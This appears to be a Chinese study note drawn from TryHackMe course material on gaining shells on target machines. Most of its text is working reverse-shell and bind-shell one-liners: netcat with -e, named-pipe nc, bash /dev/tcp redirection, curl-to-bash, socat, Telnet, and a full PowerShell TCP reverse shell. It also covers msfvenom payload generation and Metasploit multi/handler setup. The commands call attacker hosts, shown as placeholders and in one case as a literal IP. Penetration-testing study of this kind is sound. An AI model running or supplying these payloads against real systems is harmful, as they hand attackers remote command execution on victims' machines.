Shell
本文内容来自thm及学习总结
0x01简介
用最简单的术语来说,shell是我们在与命令行环境(CLI)接口时使用的。换句话说,Linux中常见的bash或sh程序是shell的例子,Windows上的cmd.exe和Powershell也是如此。当面向远程系统时,有时可以强制在服务器上运行的应用程序(例如 Web 服务器)执行任意代码。发生这种情况时,我们希望使用此初始访问权限来获取在目标上运行的 shell。
- 反弹shell:我们可以强制远程服务器向我们发送对服务器的命令行访问
- 绑定shell:在服务器上打开一个端口,我们可以连接到该端口以执行进一步的命令
0x02常用payload
在 netcat 的某些版本中,包括Windows 版的nc.exe(Kali Linux也附带了,位于 /usr/share/windows-resources/binaries),还有 Kali 本身使用的版本,即netcat-traditional,都有一个 -e 选项允许你在shell的连接上执行进程。
例如,在目标机上设置监听器时:
nc -lvnp <PORT> -e /bin/bash
用 netcat 连接到上面的监听器将在目标上产生一个绑定 shell。
同样,对于反向 shell,在目标机上执行以下命令:
nc <LOCAL-IP> <PORT> -e /bin/bash
目标机将回连攻击机上的监听器,这样会产生一个反向 shell。
但是,大多数版本的 netcat 都不包含此功能(指 -e选项),因为人们普遍认为它非常不安全。
在几乎总是需要静态二进制文件的 Windows目标机上,以上技巧(指 -e选项)将完美运行;然而,在 Linux的目标机上,我们将改为使用以下代码为绑定 shell 创建一个监听器:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f #在linux目标机上执行
mkfifo /tmp/f:将/tmp/f文件定义为命名管道,管道两边等价且连接
2>&1:若报错则将报错信息一起回显。2为标准错误流stderr的标号,1是标准输出流stdout;>&:将联合符号前面的内容与后面相结合,然后一起重定向给后者
过程:
当nc建立连接后,命名管道的起始端被分配给了nc的发出者,即攻击机;另一端就是目标机。
此时,在攻击机输入命令,会通过管道传给目标机的sh执行。
目标机执行后,将结果从管道中用>写回攻击机
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f #在linux目标机上执行
过程:
当nc建立连接后,命名管道的起始端被分配给了nc的发出者,即目标机;另一端就是攻击机。
此时,在攻击机输入命令,会通过管道传给目标机的sh执行。
目标机执行后,将结果从管道中用>写回攻击机
当目标是一个现代的 Windows Server 时,建立 Powershell 反向 shell 是非常常见的,因此我们将在这里介绍标准的一行 PSH 反向 shell。
这个命令非常复杂,因此为了简单起见,这里不会直接解释它,记住,这是一行非常有用的命令:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
为了使用它,我们需要用适当的 IP 和端口选择来替换"" 和 “”,然后将其复制到 cmd.exe shell中并执行该命令(或者使用 在 Windows 服务器上执行命令的另一种方法,例如 webshell),从而生成反向 shell:
0x03Msfvenom生成shell payload
Msfvenom作为 Metasploit 框架的一部分,主要用于生成用于反向和绑定 shell 的代码。它被广泛用于开发低等级的exp,如:在开发缓冲区溢出漏洞exp时生成十六进制 shellcode;但是,它也可用于生成各种格式的有效负载
msfvenom 的标准语法如下:
msfvenom -p <PAYLOAD> <OPTIONS>
例如,要以 exe 格式生成 Windows x64反向 Shell,我们可以使用:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
这里我们设定一个有效载荷涉及到四个参数选项:
- -f :指定输出格式。 在上面的命令中,格式是一个可执行文件 (exe)
- -o :生成的有效载荷(payload)的输出位置和文件名。
- LHOST=:指定要回连的 IP(即攻击机IP)。
- LPORT=:要回连的本地攻击机上的端口。 可以是 0 到 65535 之间尚未使用的任何值;但是设定为低于 1024的端口时将受到限制,需要以 root 权限运行监听器。
Staged & Stageless(分段和不分段)
在我们进一步讨论之前,必须介绍另外两个概念:分段的反向 shell 有效负载、不分段的反向 shell 有效负载。
- 分段的反向shell有效载荷分两部分发送。第一部分称为stager,这是一段直接在服务器本身上执行的代码,它会回连攻击机上等待的监听器,但它本身并不包含任何反向 shell 代码。第一部分的stager将连接到监听器并使用连接来加载真正的有效载荷,这样能直接执行真正的payload并防止真正的payload接触到磁盘,以免被传统的反病毒解决方案拦截。 因此,此类有效载荷分为两部分——一个小的初始段,然后是在初始段启动时所下载的更大的反向 shell 代码段。 分段的有效载荷需要一个特殊的监听器——通常是Metasploit multi/handler,这将在下一个小节中介绍。
- 不分段的反向shell有效载荷更常见——这些也是我们迄今为止一直在使用的。 它们是完全独立的,因为在成功执行一段代码时会立即将 shell 发送回攻击机上等待的监听器。
不分段的有效载荷往往更易于使用和捕获; 但是,它们也更庞大,并且更容易被防病毒或入侵检测程序发现和删除。
分段的有效载荷更难使用,但它的初始段要短得多,有时会被效率较低的防病毒软件遗漏。 现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI:Anti-Malware Scan Interface) 来检测有效载荷,这使得分段有效载荷不如以前那么有效。
Meterpreter
关于 Metasploit,另一个要讨论是 Meterpreter shell。 Meterpreter shell 是 Metasploit自带的的全功能 shell,它们是完全稳定的,这使得它们在针对Windows 目标机时效果非常好。Meterpreter shell 也有很多自己的内置功能,例如文件上传和下载。 如果我们想使用Metasploit 的后渗透工具,那么我们就需要先获得一个 Meterpreter shell
Meterpreter shell 的缺点是它们必须在 Metasploit中才能捕获,它们也被某些认证考试禁止使用,因此学习关于Meterpreter的替代方法是个好主意。
创建分段和不分段的 meterpreter shell,上传exe文件并手动激活它,使用 netcat 捕获 shell ——这个shell能正常工作吗?
结果:不能,我们需要使用msf里面的multi/handler模块捕获meterpreter shell,用netcat并不能使这个shell正常工作。
payload命名约定
使用 msfvenom 时,了解命名系统的工作原理很重要,基本的payload命名约定如下:
<OS>/<arch>/<payload>
例如:
linux/x86/shell_reverse_tcp
这将为 x86 Linux 的目标机生成不分段的反向shell payload。
此基本命名约定的例外是Windows 32位操作系统的目标,对于该类目标,命名payload时,不会指定操作系统的架构位数,例如:
windows/shell_reverse_tcp
对于64位的 Windows 目标,命名payload时,arch 将被指定为normal (x64) 。
我们把命名中关于payload的部分再细分一下。
在上面的示例中,使用的payload是 shell_reverse_tcp,
这表明它是一个不分段的payload。不分段的payload会用下划线 (_) 表示,与此payload等效的分段payload是:shell/reverse_tcp(分段payload会用一个斜杠/表示)。
这些规则也适用于 Meterpreter payload。一个针对Windows 64位目标的分段Meterpreter payload ,名称将如下所示:
windows/x64/meterpreter/reverse_tcp
针对Linux 32位目标的不分段 Meterpreter payload,名称将如下所示:
linux/x86/meterpreter_reverse_tcp
除了 msfconsole 手册页之外,使用 msfvenom 时要注意的另一个命令是:msfvenom --list payloads,这可用于列出所有可用的有效载荷,然后可以将其通过管道符传输到 grep 以搜索一组特定的有效载荷,例如:
这为我们提供了一整套针对 Linux 32位目标的 Meterpreter 有效载荷。
0x04multi/handler模块接收shell
Multi/Handler 是捕获反向 shell 的绝佳工具(multi/handler模块充当的是连接shell的监听器),如果你想使用Meterpreter shell,这是必不可少的,并且这也是使用分段payload时的首选。
幸运的是,它相对容易使用:
使用" msfconsole -q
"命令启动Metasploit
输入" use multi/handler
"命令,按下回车键
我们现在准备开始一个multi/handler会话,让我们使用 options 命令查看可用的选项:
我们需要设置三个选项:payload、LHOST 和 LPORT。 这些都与我们在使用 Msfvenom 生成 shellcode 时设置的选项相同——特定于我们的目标的payload,以及我们可以接收 shell 的监听IP地址和端口。
请注意,在此处必须指定 LHOST,因为 metasploit 不会像 netcat 或 socat 那样监听所有网络接口,所以你必须告诉它一个特定的地址以便进行监听
我们使用以下命令设置这些选项:
set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>
我们现在应该已经准备好开始监听了!
让我们通过使用" exploit -j
"命令,这将告诉 Metasploit 启动模块并将其作为作业(job)在后台运行
你可能注意到在上面的截图中,Metasploit 正在监听一个1024以下的端口。为此,Metasploit 必须使用 sudo 权限运行。
当在前面的msfvenom中生成的分段payload开始运行时,Metasploit 将接收连接,并会发送剩余的payload然后给我们提供一个反向 shell:
请注意,因为在上面的案例中multi/handler 开始是在后台处理的,所以我们需要使用 " sessions 1
“命令再次将其置于前台。 这很有效,因为它是唯一运行的会话。 如果还有其他活动的会话,我们将需要使用” sessions "命令来查看所有活动的会话,然后使用sessions <number>
命令来选择适当的会话置于前台。 这个数字也将显示在打开 shell 的行中(你能看到“Command Shell session 1 opened ”)。
0x05反弹shell基本方法
nc反弹
注意:目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包
攻击机开启本地监听:
nc -lvp <端口>
目标机主动连接攻击机:
nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
bash重定向反弹
bash -i >& /dev/tcp/attack_ip/port 0>&1 #目标机
bash -i:产生一个交互式shell(有回显)
/dev/tcp/attack_ip/port:linux一切皆文件,该文件为tcp程序,打开该文件即向attack_ip/port发出tcp连接请求
- >:将bash -i的输出重定向到/dev/tcp/attack_ip/port,即将bash的回显传给攻击机的终端屏幕
- 加一个&:语句1 >& 语句2 :将stderr合并到stdout,即报错一起回显,相当于语句末尾加2>&1
0>&1:将stdin(0)合并到stdout(1),使得标准输入是从已经被重定向的标准输出中获取的,即实现了把攻击机输的命令在目标机执行
补充姿势:
bash -i >& /dev/tcp/attack_ip/port <&1
bash -i >& /dev/tcp/attack_ip/port <&2
bash -i >& /dev/tcp/attack_ip/port 0<&1
bash -i >& /dev/tcp/attack_ip/port 0<&2
bash -i >& /dev/tcp/attack_ip/port 0>&1
bash -i >& /dev/tcp/attack_ip/port 0>&2
bash -i > /dev/tcp/attack_ip/port 0>&1 2>&1
Curl反弹
借助Linux中的管道
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/attack_ip/2333 0>&1
并开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl attack_ip|bash
curl IP|bash 中的IP可以是
任意进制
的,可以是十进制、十六进制、八进制、二进制等
socat反弹
目标机主动连接攻击机:
socat tcp-connect:attack_ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane
Telnet反弹
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,可以使用Telnet反弹shell
方法一
攻击机开启本地监听:
nc -lvp port
目标机主动连接攻击机:
mknod a p; telnet attack_ip port 0<a | /bin/bash 1>a
方法二
攻击机需要开启两个本地监听:
nc -lvvp 2333
nc -lvvp 4000
目标机主动连接攻击机:
telnet attack_ip 2333 | /bin/bash | telnet 47.101.57.72 4000
命名管道反弹
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f #在linux目标机上执行